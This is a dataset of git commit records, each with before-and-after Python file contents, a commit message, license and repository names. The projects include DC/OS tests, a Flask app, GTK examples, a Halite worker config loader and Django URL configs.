from hestia.tz_utils import now
from kubernetes import watch
from ocular.processor import get_pod_state
logger = logging.getLogger('ocular')
def monitor(k8s_api, namespace, container_names, label_selector=None):
w = watch.Watch()
for event in w.stream(k8s_api.list_namespaced... |
f76c1adc3081877d28a656e54eb32c1dcfc2cdb2 | packages/dcos-integration-test/extra/test_sysctl.py | packages/dcos-integration-test/extra/test_sysctl.py | import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default... | import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default... | Change path of sysctl to /sbin for ubuntu on azure | Change path of sysctl to /sbin for ubuntu on azure
| Python | apache-2.0 | mnaboka/dcos,mesosphere-mergebot/mergebot-test-dcos,mesosphere-mergebot/dcos,GoelDeepak/dcos,amitaekbote/dcos,kensipe/dcos,lingmann/dcos,surdy/dcos,dcos/dcos,BenWhitehead/dcos,darkonie/dcos,lingmann/dcos,jeid64/dcos,BenWhitehead/dcos,GoelDeepak/dcos,darkonie/dcos,lingmann/dcos,amitaekbote/dcos,jeid64/dcos,mnaboka/dcos,... | import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default... | import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default... | <commit_before>import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then exami... | import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default... | import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then examines the default... | <commit_before>import subprocess
import uuid
def test_if_default_systctls_are_set(dcos_api_session):
"""This test verifies that default sysctls are set for tasks.
We use a `mesos-execute` to check for the values to make sure any task from
any framework would be affected by default.
The job then exami... |
e207cab76b797418e75a0a96613e3ced3157aba4 | openaddr/ci/web.py | openaddr/ci/web.py | from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config... | from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config... | Switch back to a single proxy for ProxyFix | Switch back to a single proxy for ProxyFix
| Python | isc | openaddresses/machine,openaddresses/machine,openaddresses/machine | from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config... | from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config... | <commit_before>from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__nam... | from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config... | from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__name__)
app.config... | <commit_before>from flask import Flask
from werkzeug.middleware.proxy_fix import ProxyFix
from .webauth import apply_webauth_blueprint
from .webhooks import apply_webhooks_blueprint
from .webapi import apply_webapi_blueprint
from .webcoverage import apply_coverage_blueprint
from . import load_config
app = Flask(__nam... |
c262e1d4c1c7422675728298019ee674242b68dd | examples/framework/faren/faren.py | examples/framework/faren/faren.py | #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__changed(self, entry, ... | #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__insert_text(self, ent... | Use insert_text instead of changed | Use insert_text instead of changed
| Python | lgpl-2.1 | Schevo/kiwi,Schevo/kiwi,Schevo/kiwi | #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__changed(self, entry, ... | #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__insert_text(self, ent... | <commit_before>#!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__change... | #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__insert_text(self, ent... | #!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__changed(self, entry, ... | <commit_before>#!/usr/bin/env python
import gtk
from kiwi.controllers import BaseController
from kiwi.ui.views import BaseView
from kiwi.ui.gadgets import quit_if_last
class FarenControl(BaseController):
def on_quitbutton__clicked(self, *args):
self.view.hide_and_quit()
def after_temperature__change... |
03a286a27e496da78efbed0ca4e4557ee4121e5c | stack/stack.py | stack/stack.py |
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
if se... | import sys
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
... | Add main block to handle CodeEval inputs | Add main block to handle CodeEval inputs
| Python | mit | MikeDelaney/CodeEval |
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
if se... | import sys
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
... | <commit_before>
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self)... | import sys
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
... |
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self):
if se... | <commit_before>
class Node(object):
def __init__(self, value=None, next_node=None):
self.value = value
self.next_node = next_node
class Stack(object):
def __init__(self, head=None):
self.head = head
def push(self, data):
self.head = Node(data, self.head)
def pop(self)... |
c1343c392a45d2069b893841f82bf426462bef55 | threadmanager.py | threadmanager.py | import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def CheckThreads():
for T in HelperThreads.values():
if not T.Thread.is_... | import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def StopThread(self):
self.Thread.stop()
def CheckThreads():
for T in ... | Add a stop thread - may be needed for loss of heartbeat case | Add a stop thread - may be needed for loss of heartbeat case
| Python | apache-2.0 | kevinkahn/softconsole,kevinkahn/softconsole | import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def CheckThreads():
for T in HelperThreads.values():
if not T.Thread.is_... | import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def StopThread(self):
self.Thread.stop()
def CheckThreads():
for T in ... | <commit_before>import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def CheckThreads():
for T in HelperThreads.values():
if n... | import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def StopThread(self):
self.Thread.stop()
def CheckThreads():
for T in ... | import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def CheckThreads():
for T in HelperThreads.values():
if not T.Thread.is_... | <commit_before>import logsupport
from logsupport import ConsoleWarning
HelperThreads = {}
class ThreadItem(object):
def __init__(self, name, start, restart):
self.name = name
self.StartThread = start
self.RestartThread = restart
self.Thread = None
def CheckThreads():
for T in HelperThreads.values():
if n... |
bb70a61434f297bdcf30ccc7b95131be75c1f13b | passpie/validators.py | passpie/validators.py | import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<bran... | import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<bran... | Remove loading config from ".passpie/.config" if db set | Remove loading config from ".passpie/.config" if db set
| Python | mit | marcwebbie/passpie,scorphus/passpie,marcwebbie/passpie,scorphus/passpie | import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<bran... | import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<bran... | <commit_before>import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format... | import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<bran... | import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format <remote>/<bran... | <commit_before>import click
from .history import clone
from . import config
def validate_remote(ctx, param, value):
if value:
try:
remote, branch = value.split('/')
return (remote, branch)
except ValueError:
raise click.BadParameter('remote need to be in format... |
799e79b03a753e5e8ba09a436e325e304a1148d6 | apiserver/worker/grab_config.py | apiserver/worker/grab_config.py | """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/hal... | """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/hal... | Determine GPU presence on workers based on instance metadata | Determine GPU presence on workers based on instance metadata
| Python | mit | lanyudhy/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,lanyudhy/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,HaliteChallenge/Halite-II,lanyudhy/Halite-II,Halit... | """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/hal... | """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/hal... | <commit_before>"""
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance... | """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/hal... | """
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/hal... | <commit_before>"""
Grab worker configuration from GCloud instance attributes.
"""
import json
import requests
MANAGER_URL_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/halite-manager-url"
SECRET_FOLDER_METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/instance... |
65bb7bc1c7e10756a3e172bfe0bf0cc64d03e178 | eve_neo4j/utils.py | eve_neo4j/utils.py | # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREAT... | # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREAT... | Convert every datetime field into float. | Convert every datetime field into float.
| Python | mit | Abraxas-Biosystems/eve-neo4j,Grupo-Abraxas/eve-neo4j | # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREAT... | # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREAT... | <commit_before># -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[co... | # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREAT... | # -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[config.DATE_CREAT... | <commit_before># -*- coding: utf-8 -*-
import time
from copy import copy
from datetime import datetime
from eve.utils import config
from py2neo import Node
def node_to_dict(node):
node = dict(node)
if config.DATE_CREATED in node:
node[config.DATE_CREATED] = datetime.fromtimestamp(
node[co... |
3ec857dd32330ad2321a471c05c13dad3ee5b58e | tests/test_postgres_processor.py | tests/test_postgres_processor.py | import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
engine = create_engine('postgresql://lo... | import pytest
# from sqlalchemy import create_engine
# from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
NORMALIZED = NormalizedDocument(uti... | Remove sqlalchemy test db setup | Remove sqlalchemy test db setup
| Python | apache-2.0 | erinspace/scrapi,mehanig/scrapi,fabianvf/scrapi,felliott/scrapi,CenterForOpenScience/scrapi,fabianvf/scrapi,mehanig/scrapi,felliott/scrapi,CenterForOpenScience/scrapi,erinspace/scrapi | import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
engine = create_engine('postgresql://lo... | import pytest
# from sqlalchemy import create_engine
# from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
NORMALIZED = NormalizedDocument(uti... | <commit_before>import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
engine = create_engine('... | import pytest
# from sqlalchemy import create_engine
# from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
NORMALIZED = NormalizedDocument(uti... | import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
engine = create_engine('postgresql://lo... | <commit_before>import pytest
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from scrapi.linter.document import NormalizedDocument, RawDocument
from scrapi.processing.postgres import PostgresProcessor, Document
from . import utils
test_db = PostgresProcessor()
engine = create_engine('... |
36675bf7be5b22f34205b8c1ff22175a4828962f | web/impact/impact/permissions/v1_api_permissions.py | web/impact/impact/permissions/v1_api_permissions.py | from accelerator_abstract.models.base_user_utils import is_employee
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, request, view):
return request.user.groups.filter(
name=s... | from accelerator_abstract.models.base_user_utils import is_employee
from accelerator_abstract.models.base_user_role import is_finalist_user
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, reque... | Add finalists to v1 user group | [AC-7071] Add finalists to v1 user group
| Python | mit | masschallenge/impact-api,masschallenge/impact-api,masschallenge/impact-api,masschallenge/impact-api | from accelerator_abstract.models.base_user_utils import is_employee
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, request, view):
return request.user.groups.filter(
name=s... | from accelerator_abstract.models.base_user_utils import is_employee
from accelerator_abstract.models.base_user_role import is_finalist_user
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, reque... | <commit_before>from accelerator_abstract.models.base_user_utils import is_employee
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, request, view):
return request.user.groups.filter(
... | from accelerator_abstract.models.base_user_utils import is_employee
from accelerator_abstract.models.base_user_role import is_finalist_user
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, reque... | from accelerator_abstract.models.base_user_utils import is_employee
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, request, view):
return request.user.groups.filter(
name=s... | <commit_before>from accelerator_abstract.models.base_user_utils import is_employee
from impact.permissions import (
settings,
BasePermission)
class V1APIPermissions(BasePermission):
authenticated_users_only = True
def has_permission(self, request, view):
return request.user.groups.filter(
... |
03dcdca0f51ca40a2e3fee6da3182197d69de21d | pytrmm/__init__.py | pytrmm/__init__.py | """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
import trmm3b4xrt
| """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
from trmm3b4xrt import *... | Put file reader class into top-level namespace | ENH: Put file reader class into top-level namespace
| Python | bsd-3-clause | sahg/pytrmm | """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
import trmm3b4xrt
ENH: P... | """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
from trmm3b4xrt import *... | <commit_before>"""Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
import tr... | """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
from trmm3b4xrt import *... | """Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
import trmm3b4xrt
ENH: P... | <commit_before>"""Package tools for reading TRMM data.
"""
try:
from __dev_version import version as __version__
from __dev_version import git_revision as __git_revision__
except ImportError:
from __version import version as __version__
from __version import git_revision as __git_revision__
import tr... |
77c0c6087b385eb7d61ff3f08655312a9d9250f5 | libravatar/urls.py | libravatar/urls.py | # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# ... | # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# ... | Remove the admin from the url resolver | Remove the admin from the url resolver
| Python | agpl-3.0 | libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar,libravatar/libravatar | # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# ... | # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# ... | <commit_before># Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the... | # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# ... | # Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# ... | <commit_before># Copyright (C) 2010 Francois Marier <francois@libravatar.org>
#
# This file is part of Libravatar
#
# Libravatar is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the... |
841235452d92ea4e40853c8df51568e01b39dba8 | stackoverflow/21180496/except.py | stackoverflow/21180496/except.py | #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | Convert top-level-comment to a docstring. | Convert top-level-comment to a docstring.
| Python | apache-2.0 | mbrukman/stackexchange-answers,mbrukman/stackexchange-answers | #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | <commit_before>#!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | #!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | <commit_before>#!/usr/bin/python
#
# Copyright 2014 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
e664c5ec6bb90f65ab159fdf332c06d4bd0f42e2 | td_biblio/urls.py | td_biblio/urls.py | # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='import'
),
url(... | # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
app_name = 'td_biblio'
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
views.EntryBatchImportView.as_view(),
name='i... | Add app_name url to td_biblio | Add app_name url to td_biblio
| Python | mit | TailorDev/django-tailordev-biblio,TailorDev/django-tailordev-biblio,TailorDev/django-tailordev-biblio,TailorDev/django-tailordev-biblio | # -*- coding: utf-8 -*-
from django.conf.urls import url
from . import views
urlpatterns = [
# Entry List
url(
'^$',
views.EntryListView.as_view(),
name='entry_list'
),
url(
'^import$',
